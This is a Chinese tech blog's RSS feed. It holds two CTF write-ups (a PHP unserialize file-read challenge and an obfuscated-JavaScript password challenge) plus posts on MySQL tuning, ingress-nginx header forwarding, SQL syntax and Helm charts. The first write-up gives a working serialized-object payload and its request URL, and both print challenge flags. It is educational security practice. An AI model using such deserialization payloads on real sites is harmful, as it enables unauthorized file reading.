BoyChai's Blog https://blog.boychai.xyz/ zh-CN BoyChai的博客,计算机网络爱好者,倾心于互联网发展 Mon, 16 Oct 2023 02:16:00 +0000 Mon, 16 Oct 2023 02:16:00 +0000 [代码审计]网鼎杯_2020_青龙组_AreUSerialz https://blog.boychai.xyz/index.php/archives/67/ https://blog.boychai.xyz/index.php/archives/67/ Mon, 16 Oct 2023 02:16:00 +0000 BoyChai 题目

buuoj-网鼎杯_2020_青龙组_AreUSerialz

源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析

一看这个题目就是一道反序列的题目,上面定义了一个FileHandler类,之后定义了一个is_valid方法,这个方法的目的是过滤字符串,ord函数是转换ASCII码,32-125区间基本上就是所有字母数字和符号了,之后最后面这个是get获取一个str的值,之后检测是否是字符串,之后把字符串进行序列化。接下来详细看看FileHandler类:


class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

分析了一下代码,output、read、write方法都需要通过process方法来触发,output代码如下

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

很简单没啥好说的,就是输出传入的内容。read方法代码如下,

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

是去调用file_get_contents方法来读取filename变量里的文件,之后返回读取的内容。再看看write方法

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

显示content不能大于100的长度,之后将content的内容写入filename,写入之后输出Successful!否则都是Failed!,再看看process方法

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果op=1则会进行写内容,如果等于2回去执行read()方法之后输出读取的内容,否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用

    protected $op;
    protected $filename;
    protected $content;

op是用来定义操作模式的,1是写2是读,filename是文件名称文件位置,content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数,销毁的时候会触发。构造函数在这里没用主要看这个销毁函数,代码如下

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

也没啥东西,这里有个误导,就是里面的那个判断,他这个判断是三个等号的,会先判断类型,他这里判断的是字符串的2,之后content传入什么都无所谓了,剩下的就会交给process处理。

解题

分析完代码思路就清晰了,我们需要反序列化出一个FileHandler,内容op需要等于2,filename需要等于flag.php即可拿到falg。解题方式如下

<?php
class FileHandler
{
    public $op = 2;
    public $filename = "flag.php";
    public $content = "xd";
}
$a = new FileHandler();
$flag= serialize($a);
echo $flag;
/// output
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

之后请求
http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}
网页显示返回为空直接查看源代码拿到flag
?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};

补充

为什么不使用protected来序列化?
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
作者:很菜的wl https://www.bilibili.com/read/cv18129820/ 出处:bilibili

]]>
0 https://blog.boychai.xyz/index.php/archives/67/#comments https://blog.boychai.xyz/index.php/feed/
[代码审计]攻防世界-simple_js https://blog.boychai.xyz/index.php/archives/65/ https://blog.boychai.xyz/index.php/archives/65/ Sun, 08 Oct 2023 01:26:00 +0000 BoyChai 题目叫做simple_js,题目描述为

小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

打开网页之后是一个输入密码的框,自己随便输入点内容页面显示FAUX PASSWORD HAHA,自己肯定时没密码的,直接看源代码,核心代码如下

function dechiffre(pass_enc){
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab  = pass_enc.split(',');
            var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                    k = j + (l) + (n=0);
                    n = tab2.length;
                    for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                            if(i == 5)break;}
                    for(i = (o=0); i < (k = j = n); i++ ){
                    o = tab[i-l];
                            if(i > 5 && i < k-1)
                                    p += String.fromCharCode((o = tab2[i]));
                    }
    p += String.fromCharCode(tab2[17]);
    pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

上面定义了一个dechiffre(pass_enc)的函数,String["fromCharCode"](dechifre("xxx"))这个是把ASCII内容转换成字符串。剩下的就是打开页面之后都会出现的内容,参考意义不大,这里直接分析上面的这个函数
函数里面先定义了一个pass,内容如下

70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65

大概率就是ASCII码,之后又定义了一个tab,内容如下

var tab  = pass_enc.split(',');

pass_enc是传入的值,通过split(',')进行切割,现在tab是一个数组,之后定义了一个tab2,内容如下

var tab2 = pass.split(',');

对pass进行分割现在tab2也是个数组,之后定义了其他的一些变量,如下

var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;k = j + (l) + (n=0);n = tab2.length;

这里真是懵,最开始看的时候以为i,j,k,l都是0,一想不对。。。
最开始ijkmno都应该是undefined
之后i又被赋值了0,j被赋值了tab变量的长度,最后就是
k,m,oundefined之后i=0l=0p=""j=tab.lengthk=tab.lengthn=tab2.length,赋完值之后进行了一个for循环,代码如下

for(i = (o=0); i < (k = j = n); i++ ){
    o = tab[i-l];
    p += String.fromCharCode((o = tab2[i]));
    if(i == 5)break;
}
// 精简过后代码如下
for(i=0;i<tab2.length;i++){
//    o=tab[i];  
    p += String.fromCharCode(tab2[i]);
    if(i==5)break;
}

p += String.fromCharCode(tab2[i]);这段主要是这个代码,之后又经过了一个for循环,代码如下

for(i = (o=0); i < (k = j = n); i++ ){
    o = tab[i-l];
    if(i > 5 && i < k-1)
    p += String.fromCharCode((o = tab2[i]));
}
// 精简过后代码如下
for(i=0;i<tab2.length;i++){
//    o = tab[i]
    if (i>5&&i<(tab.length-1))p + = String.fromCharCode(tab2[i]);
}

p += String.fromCharCode(tab2[i]);这段主要是这个代码,和上段基本一样,方法最后返回下面内容

    p += String.fromCharCode(tab2[17]);
    pass = p;return pass;

他把tab2的第17个值转换成了字符串,并返回了p,这代码这是在闹着玩,弄到底也没处理传入的值,我服了😅,这代码的主要的作用就是把上面的ASCII转换成字符,直接转换pass变量发现内容为FAUX PASSWORD HAHA,看样子知道题目的答案就是把传入函数的那传Hex编码转换成字符串

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

转换之后变成这样

55,56,54,79,115,69,114,116,107,49,50

转换成字符串变成这样

786OsErtk12

这道题目的答案即

Cyberpeace{786OsErtk12}
]]>
0 https://blog.boychai.xyz/index.php/archives/65/#comments https://blog.boychai.xyz/index.php/feed/
[MYSQL]SQL优化 https://blog.boychai.xyz/index.php/archives/64/ https://blog.boychai.xyz/index.php/archives/64/ Tue, 05 Sep 2023 04:51:00 +0000 BoyChai 插入数据
  • 批量插入数据推荐使用下面语句
INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);
  • 如果数据量过于庞大,数据条数大于1000推荐使用文件导入的方式进行插入,方法如下
## 登录mysql的时候需要添加--local-infile参数
mysql --local-infile -u root -p
## 登录之后设置local_infile为1,开启从本地加载文件导入数据的开关
set global local_infile=1;
## 使用load命令导入数据
load data local infile '文件' into table `表名` fields terminated by `文件里面的分隔符` lines terminated by '\n';

文件里面的内容格式如下

1,a,b,c
2,b,c,d

PS:主键顺序插入性能高于乱序插入

主键优化

  • 数据组织方式

在InnoDB存储引擎中,表数据都是根据逐渐顺序组织存放的,这种存储方式的表成为索引组织表(index organized table IOT)

  • 页分裂

页可以为空 ,也可以填充一半,也可以填充100%。每个页包含了2-N行数据(如果 一行数据多大,会溢出),根据主键排列。

  • 页合并

当删除一条记录时,实际上记录并没有被物理删除,只是被标记(flaged)为啥暗处并且他的空间变得允许被其他记录声明使用。当页面中删除的记录达到MERGE_THRESHOLD(默认为页的50%),InnoDB会开始寻找最靠近的页(前或后)看看是否可以将两个页合并已优化空间使用。

  • 主键设置原则
  1. 满足业务要求的情况下,尽量降低主键长度。
  2. 插入数据的时,尽量选择顺序插入,选择使用AUTO_INCREMENT自增主键。
  3. 尽量不要使用UUID做主键或者是其他自然主键,如身份证。
  4. 业务操作时,避免对主键的修改。

order by优化

  • Using filesort

通过表的索引或全表扫描,读取满足条件的数据行,然后在排序缓冲区sort buffer中完成排序操作,所有不是通过索引直接返回排序结果的排序都叫FileSort排序。

  • Using index

通过有序索引顺序扫描直接返回有序数据,这种情况即为using index,不需要额外排序,操作效率更高。

  • 优化
  1. 根据排序字段建立合适的索引,多字段排序时,也遵循最左前缀法则。
  2. 尽量使用覆盖索引。
  3. 多字段排序,一个升序一个降序,此时需要注意联合索引在创建时的规则(ASC/DESC)
  4. 如果不可避免出现filesort,大数据量排序时,可以适当增大排序缓冲区大小sort_buffer_size(默认256k)。

group by优化

  • 分组操作时,可以通过索引来提高效率。
  • 分组操作时,索引的使用也是满足最左前缀法则的。

limit优化

一般分页查询时,通过创建 覆盖索引 能够比较好的提高性能,可以通过覆盖索引加子查询形式进行优化。

count优化

  • 在MyISAM引擎把一个表的总行数存在了磁盘上,因此执行count(*)的时候会直接返回这个数,效率很高。
  • InnoDB引擎就麻烦了,他执行count(*)的时候,需要把数据一行一行的从引擎里面读出来,让后累计计数。
  • count(主键)

InnoDB引擎会遍历整张表,把每一行的主键id值都取出来,返回给服务层。服务层拿到主键后,直接按行累加(主键不可能为null)。

  • count(字段)

没有not null约束时: InnoDB疫情会便利整张表把每一行的字段值都取出来,返回给服务层,服务层判断是否为null,不为null,计数累加。

有not null约束时: InnoDB疫情会便利整张表把每一行的字段值都取出来,返回给服务层们直接按行进行累加。

  • count(1)

InnoDB疫情遍历整张表,但不取值。服务层对于返回的每一行,放一个数字“1”进去,直接按行累加。

  • count(*)

InnoDB疫情并不会把全部字段取出来,而是专门做了优化,不取值,服务层直接按行进行累加。

  • 优化方案

    1. 可以自己做count,使用缓存数据库做这类工作。
    2. 按照效率排序的话,count(字段)<count(主键)<count(1)≈count(*),所以尽量使用count(*)。

update优化

InnoDB的行锁是针对索引加的锁,不是针对记录家的锁,并且该索引不能失效,否则会从行锁升级为表锁。规避这种情况就需要在对应字段创建索引。

]]>
0 https://blog.boychai.xyz/index.php/archives/64/#comments https://blog.boychai.xyz/index.php/feed/
[资源]容器镜像代理站、加速站收集 https://blog.boychai.xyz/index.php/archives/63/ https://blog.boychai.xyz/index.php/archives/63/ Wed, 30 Aug 2023 07:25:40 +0000 BoyChai 0 https://blog.boychai.xyz/index.php/archives/63/#comments https://blog.boychai.xyz/index.php/feed/ [排错笔记]Ingress-Nginx传递用户真实ip问题 https://blog.boychai.xyz/index.php/archives/62/ https://blog.boychai.xyz/index.php/archives/62/ Fri, 25 Aug 2023 13:53:00 +0000 BoyChai 引入问题

我的K8s环境是宿主机的hyper-v虚拟出来的,如果要映射到外面则还需要再我的宿主机上面再做一层反代,我采用的是nginx,当ingress整好之后,我从我从我腾讯云上复制了一段nginx配置放到了我的宿主机,主要配置如下:

location /test/ {
       proxy_pass http://kubernetes.boychai.xyz/test/;
       proxy_set_header Host $host;
       proxy_set_header X-Real-IP $remote_addr; 
       proxy_set_header REMOTE-HOST $remote_addr;
       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

为了防止传入的ip是代理主机的ip我这里设置了Host、X-Real-IP、REMOTE-HOST、X-Forwarded-For。经过测试之后发现使用宿主机配置的代理访问时返回404,在宿主机上直接却没问题。

访问问题

日志

我去查看了宿主机的nginx日志、ingress-nginx-controller日志、应用程序的日志,发现除了宿主机的nginx均没有日志记录,宿主机日志信息如下

111.180.204.54 - - [25/Aug/2023:22:12:21 +0800] "GET /test/ HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"

除了这一条之外其他的日志均无404。

解决

看到日志之后有点懵,因为我的宿主机是可以直接访问ingress暴露出来的服务的,而且没有报错正常访问,我是用反代之后就报错404,我最开始以为这个404就是我宿主机报的,但是宿主机的404默认页面会返回nginx的版本,如下图

而我反代返回的404页面则是这样的

一想就是我ingress返回的页面,但是我去查看ingress-nginx-controller的日志并无404的报错,日志查看命令如下,访问时并无产生记录

[root@kubernetes ~]# kubectl -n ingress-nginx logs -f  ingress-nginx-controller-kc5np

我这里去尝试修改宿主机的反代配置,配置如下

location /test/ {
       proxy_pass http://kubernetes.boychai.xyz/test/;
}

发现这样是可以正常访问程序的,这就奇怪了,难不成还能是因为我设置了这几个header的问题?我挨个注释这些header的配置发现问题出在下面这段配置

proxy_set_header Host $host;

具体原因也没搞清楚但是取消使用这条配置就好了...

原因

在Kubernetes的Ingress中,Host 头部用于根据不同的域名(或主机名)将请求路由到不同的服务。每个Ingress规则可以基于请求的 Host 头部将流量路由到不同的后端服务。我宿主机代理的域名和Ingress设置的域名不同,所以导致了这个问题,我外部代理的域名是tools.boychai.xyz而我k8s设置Ingress的域名则是kubernetes.boychai.xyz,当我在宿主机的代理设置了proxy_set_header Host $host;这段配置之后,请求发到Ingress之后,Ingress拿到的路由请求域名则是tools.boychai.xyz,而我又没有设置这个资源则就返回了404。

IP传递问题

日志

能够访问之后发现最终的应用拿不到真是访问的ip,这里通过nginx直接返回X-Forwarded-For头信息来查看问题出在什么位置,宿主机Nginx配置如下

location /aaa {
    default_type text/html;
    proxy_set_header X-Real-IP $remote_addr; 
    proxy_set_header REMOTE-HOST $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    return 200 "proxy_add_x_forwarded_for:$proxy_add_x_forwarded_for";
}
location /test/ {
       # ingress暴露的地址`http://kubernetes.boychai.xyz/test/`
       proxy_pass http://kubernetes.boychai.xyz/test/;
       proxy_set_header X-Real-IP $remote_addr; 
       proxy_set_header REMOTE-HOST $remote_addr;
       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

后端Nginx配置如下

location / {
    default_type text/html;
    return 200 "proxy_add_x_forwarded_for:$proxy_add_x_forwarded_for";
}

这样访问反代的/aaa就是访问反代主机的ip,访问反代的/test就会返回访问nginx的后端访问的ip,访问结果如下
访问/aaa返回

proxy_add_x_forwarded_for:111.180.204.54

访问/test返回

proxy_add_x_forwarded_for:192.16.1.1, 192.16.1.2

解决

查看访问返回的信息发现直接访问代理的ip是没问题的,那就是Ingress的锅了,这里的1.11.2依次是反代的ip和k8s主机的ip,到ingress这层没有把x_forwarded_for头加进来,这里我去官方翻了翻文档发现了三条和x_forwarded_for有关系的配置,如下

data:
  ...
  compute-full-forwarded-for: "true"
  # 这一条可以不加也需要知道
  # forwarded-for-header: "X-Forwarded-For"
  use-forwarded-headers: "true"

给ingress的cm加上这两条配置即可解决问题,最终/test返回的内容如下

proxy_add_x_forwarded_for:111.180.204.54, 192.16.1.1, 192.16.1.2

原因

Ingress默认是没有配置传递真实IP功能的,需要配置,这三条配置和官网文档如下:

  1. use-forwarded-headers
    文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#use-forwarded-headers
    如果为true,则ingress-nginx会将传入的x-forward-*传递到上游,如果是Ingress上层还有一层ingress则需要配置这一条。如果他直接暴露在公网中或者它基于L3的网络负载后门则不需要管,因为它默认就是false。
  2. forwarded-for-header
    文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header
    这个用来设置客户端来源的真实IP,默认就是X-Forwarded-For。这里不需要额外配置。
  3. compute-full-forwarded-for
    文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#compute-full-forwarded-for
    如果开启了use-forwarded-headers的话,会发现还是没能获取到客户端的真实IP,原因是当前X-Forwaded-Fox变量是从remote_addr获取的,每次都是拿上一层的代理ip,这段配置的作用是将客户端用户访问所经过的代理ip都追加到X-Forwaded-Fox.
]]>
0 https://blog.boychai.xyz/index.php/archives/62/#comments https://blog.boychai.xyz/index.php/feed/
数据库通用语言-SQL https://blog.boychai.xyz/index.php/archives/61/ https://blog.boychai.xyz/index.php/archives/61/ Thu, 10 Aug 2023 05:36:00 +0000 BoyChai SQL分类
类别全称概述
DDLData Definition Language数据定义语言,用来定义数据库对象(数据库,表,字段)
DMLData Manipulation Language数据操作语言,用来对数据库表中的数据进行删增改查
DQLData Query Language数据查询语言,用来查询数据库中表的记录
DCLData Control Language数据控制语言,用来创建数据库用户,控制数据库的访问权限

DDL

数据库操作

查询

  • 查询所有数据库
SHOW DATABASES;
  • 查询当前数据库
SELECT  DATABASE();

创建

CREATE DATABASE [ IF NOT EXISTS ] 数据库名称 [ DEFAULT CHARSET 字符集 ] [ COLLATE 排序规则 ];

使用时可以在数据库名称前面加入"IF NOT EXISTS",意为当数据库不存在则创建否则不作为。

删除

DROP DATABASE [ IF EXISTS ] 数据库名称;

使用时可以在数据库名称前面加入"IF EXISTS",意为当数据库存在则删除否则不作为。

使用

USE 数据库名称;

表操作

ps:表操作需要使用数据库之后才能操作

查询

  • 查询当前数据库中所有的表

SHOW TABLES;

  • 查询表字段结构

DESC 表名称;

  • 查询指定表的建表语句

SHOW CREATE TABLE 表名;

创建

CREATE TABLE 表名(

​ 字段1 字段1数据类型 [ COMMENT 字段1注释 ],

​ 字段2 字段2数据类型 [ COMMENT 字段2注释 ],

​ 字段3 字段3数据类型 [ COMMENT 字段3注释 ]

​ ......

) [ COMMENT 表格注释 ];

修改

修改表名称

ALTER TEABLE 表名 RENAME TO 新表名;

删除

  • 删除表

DROP TABLE [ IF EXISTS ] 表名;

"IF EXISTS" 意为有则删除否则不作为

  • 删除指定表,并且重新创建该表(一般用于格式化)

TRUNCATE TABLE 表名;

字段操作

修改

  • 添加字段

ALTER TABLE 表名 ADD 字段名 类型(长度) [ COMMENT 注释 ] [约束];

  • 修改数据类型

ALTER TABLE 表名 MODIFY 字段名 新数据类型(长度);

  • 修改字段名和字段类型

ALTER TABLE 表名 CHANGE 旧字段名 新字段名 类型(长度) [ COMMENT 注释 ] [约束];

删除

ALTER TABLE 表名 DROP 字段名

数据类型

概述

MYSQL的数据类型主要分为三种:数值类型、字符串类型、日期时间类型。

数值类型

类型大小有符号范围(SIGNED)无符号范围(UNSIGNED)概述
TINYINT1 byte(-128,127)(0,255)小整数值
SMALLINT2 byte(-32768,32767)(0,65535)大整数值
MEDIUMINT3 byte(-8388608,8388607)(0,16777215)大整数值
INT或INTEGER4 byte(-8388608,8388607)(0,4294967295)大整数值
BIGINT8 byte(-2^63,2^63-1)(0,2^64-1)极大整数值
FLOAT4 byte(-3.402823466 E+38,3.402823466351 E+38)0 和 (1.175494351 E38,3.402823466 E+38)单精度浮点数值
DOUBLE8 byte(-1.7976931348623157E+308,1.7976931348623157E+308)0 和(2.2250738585072014E-308,1.7976931348623157E+308)双精度浮点数值
DECIMAL 依赖于M(精度)和D(标度)的值依赖于M(精度)和D(标度)的值小数值(精确定点数)

字符串类型

类型大小概述
CHAR0-255 bytes定长字符串(需要指定长度)
VARCHAR0-65535 bytes变长字符串(需要指定长度)
TINYBLOB0-255 bytes不超过255个字符的二进制数据
TINYTEXT0-255 bytes短文本字符串
BLOB0-65 535 bytes二进制形式的长文本数据
TEXT0-65 535 bytes长文本数据
MEDIUMBLOB0-16 777 215 bytes二进制形式的中等长度文本数据
MEDIUMTEXT0-16 777 215 bytes中等长度文本数据
LONGBLOB0-4 294 967 295 bytes二进制形式的极大文本数据
LONGTEXT0-4 294 967 295 bytes 极极大文本数据

日期类型

类型大小范围格式概述
DATE31000-01-01 至 9999-12-31YYYY-MM-DD日期值
TIME3-838:59:59 至 838:59:59HH:MM:SS时间值或持续时间
YEAR11901 至 2155YYYY年份值
DATETIME81000-01-01 00:00:00 至9999-12-31 23:59:59YYYY-MM-DDHH:MM:SS混合日期和时间值
TIMESTAMP41970-01-01 00:00:01 至2038-01-19 03:14:07YYYY-MM-DDHH:MM:SS混合日期和时间值,时间戳

DML

添加数据

  • 给指定字段添加数据

INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......);

  • 给全部字段添加数据

INSERT INTO 表名 VALUES (值1,值2,......);

  • 批量添加数据

INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);

INSERT INTO 表名 VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);

修改数据

UPDATE 表名 SET 字段1=值1,字段2=值2,...... [ WHERE 条件 ]

删除数据

DELETE FROM 表名 [ WHERE 条件 ]

注意

修改删除数据的时候,如果不加where判断条件则调整的整张表的内容。

DQL

语法

SELECT

​ 字段列表

FROM

​ 表名列表

WHERE

​ 条件列表

GROUP BY

​ 分组字段列表

HAVING

​ 分组后条件列表

ORDER BY

​ 排序字段列表

LIMIT

​ 分页参数

基本查询

  • 查询多个字段

SELECT 字段1,字段2,.... FROM 表名;

SELECT * FRIN 表名;

  • 设置别名

SELECT 字段1 [ AS '别名' ],字段2 [ AS '别名2' ] FROM 表名;

输出的时候字段名称会 替换成别名,这段SQL中的AS可以不写,例如

SELECT 字段 '别名' FROM 表名;

  • 去除重复记录

SELECT distinct 字段列表 FROM 表名;

条件查询

语法

SELECT 字段列表 FROM 表名 WHERE 条件列表;

条件

比较运算符

运算符功能
>大于
\>=大于等于
<小于
<=小于等于
=等于
<> 或 !=不等于
BETWEEN ... AND ...在某个范围之内(含最小,最大值)
IN(...)在in之后的列表中的值,多选一
LIKE 占位符模糊匹配(_匹配单个字符,%匹配任意多个字符)
IS NULL是NULL

逻辑运算符

运算符功能
AND 或 &&并且(多个条件同时成立)
OR 或 \\ 或者(多个条件任意一个成立)
NOT 或 !非,不是

聚合函数

语法

SELECT 聚合函数(字段) FROM 表名;

函数

函数功能
count统计数量
max最大值
min最小值
avg平均值
sum求和

分组查询

语法

SELECT 字段列表 FROM 表名 [ WHERE 条件 ] GROUP BY 分组字段名 [ HAVING 分组后过滤条件 ]

排序查询

语法

SELECT 字段列表 FROM 表名 ORDER BY 字段1 排序方式1, 字段2,排序方式2

排序方式

ASC:升序(默认)

DESC:降序

分页查询

语法

SELECT 字段列表 FROM 表名 LIMIT 起始索引,查询记录数;

执行顺序

DQL的执行顺序为FROM 表 > WHERE 条件查询 > GROUP BY 分组查询 > SELECT 字段查询 > ORDER BY 排序查询 > LIMIT 分页查询

DCL

用户管理

  • 查询用户
USE mysql;
SELECT * FROM user;
  • 创建用户
CREATE USER `用户名`@`主机名` IDENTIFIED BY `密码`;
  • 修改用户密码
ALTER USER `用户名`@`主机名` IDENTIFIED WITH mysql_native_password BY `新密码`;
  • 删除用户
DROP USER `用户名`@`主机名`;

权限管理

权限

常用权限如下表

权限说明
ALL,ALL PRIVILEGES所有权限
SELECT数据查询
INSERT插入数据
UPDATE更新数据
DELETE删除数据
ALTER修改表
DROP删除数据库、表、试图
CREATE创建数据库、表

这是常用的 其他的可以去官网查看

管理

  • 查询权限
SHOW GRANTS FOR `用户名`@`主机名`;
  • 授予权限
GRANT 权限列表 ON 数据库名.表名 TO `用户名`@`主机名`;
  • 撤销权限
REVOKE 权限列表 ON 数据库名.表名 FROM `用户名`@`主机名`;
]]>
0 https://blog.boychai.xyz/index.php/archives/61/#comments https://blog.boychai.xyz/index.php/feed/
CDN绕过思路 https://blog.boychai.xyz/index.php/archives/60/ https://blog.boychai.xyz/index.php/archives/60/ Mon, 07 Aug 2023 13:10:00 +0000 BoyChai 0 https://blog.boychai.xyz/index.php/archives/60/#comments https://blog.boychai.xyz/index.php/feed/ HELM-Kubernetes包管理工具(Chart包简单使用) https://blog.boychai.xyz/index.php/archives/57/ https://blog.boychai.xyz/index.php/archives/57/ Mon, 29 May 2023 04:34:00 +0000 BoyChai 目录结构

文档地址:https://helm.sh/zh/docs/topics/charts/

通过下面命令创建一个chart,指定chart名:mychart

[root@Kubernetes charts]# helm create mychart
Creating mychart
[root@Kubernetes charts]# tree mychart
mychart
├── charts
├── Chart.yaml
├── templates
│   ├── deployment.yaml
│   ├── _helpers.tpl
│   ├── hpa.yaml
│   ├── ingress.yaml
│   ├── NOTES.txt
│   ├── serviceaccount.yaml
│   ├── service.yaml
│   └── tests
│       └── test-connection.yaml
└── values.yaml

3 directories, 10 files
目录介绍
charts存放子chart的目录,目录里存放这个chart依赖的所有子chart
Chart.yaml保存chart的基本信息,包括名字、描述信息及版本等,这个变量文件都可以被template目录下文件所引用
templates模板文件目录,目录里面存放所有yaml模板文件,包含了所有部署应用的yaml文件
templates/deployment.yaml创建deployment对象的模板文件
templates/_helpers.tpl_放置模板助手的文件,可以在整个chart中重复使用,是放一些templates目录下这些yaml都有可能会用的一些模板
templates/hpa.yaml
templates/ingress.yaml
templates/NOTES.txt存放提示信息的文件,介绍chart帮助信息,helm install部署后展示给用户,如何使用chart等,是部署chart后给用户的提示信息
templates/serviceaccount.yaml
templates/service.yaml
templates/tests用于测试的文件,测试完部署完chart后,如web,做一个连接,看看是否部署成功
templates/tests/test-connection.yaml用于渲染模板的文件(变量文件,定义变量的值)定义templates目录下的yaml文件可能引用到的变量
values.yamlvalues.yaml用于存储templates目录中模板文件中用到变量的值,这些变量定义都是为了让templates目录下yaml引用

案例1

需求

编写一个chart,不引用内置对象的变量值(用HELM3发布创建一个ConfigMap,创建到K8s集群中,发布其他应用也一样,我们由浅入深进行学习)

创建实例

编写Chart:

[root@Kubernetes charts]# helm create myConfigMapChart
Creating myConfigMapChart
[root@Kubernetes charts]# cd myConfigMapChart/templates/
[root@Kubernetes templates]# rm -rf ./*
[root@Kubernetes templates]# vim configmap.yaml
# 文件内容如下
apiVersion: v1
kind: ConfigMap
metadata:
  name: my-cm-chart
data:
  myValue: "Hello,World"

创建release实例:

[root@Kubernetes charts]# ls
mychart  myConfigMapChart  
[root@Kubernetes charts]# helm install mycm ./myConfigMapChart/
NAME: mycm
LAST DEPLOYED: Thu May 11 00:26:16 2023
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None

查看release实例:

[root@Kubernetes charts]# helm list
NAME    NAMESPACE       REVISION        UPDATED                                 STATUS          CHART                   APP VERSION
mycm    default         1               2023-05-11 00:26:16.392817959 +0800 CST deployed        myConfigMapChart-0.1.0  1.16.0  

查看release的详细信息:

[root@Kubernetes charts]# helm get manifest mycm
---
# Source: myConfigMapChart/templates/configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: my-cm-chart
data:
  myValue: "Hello,World"

删除release实例:

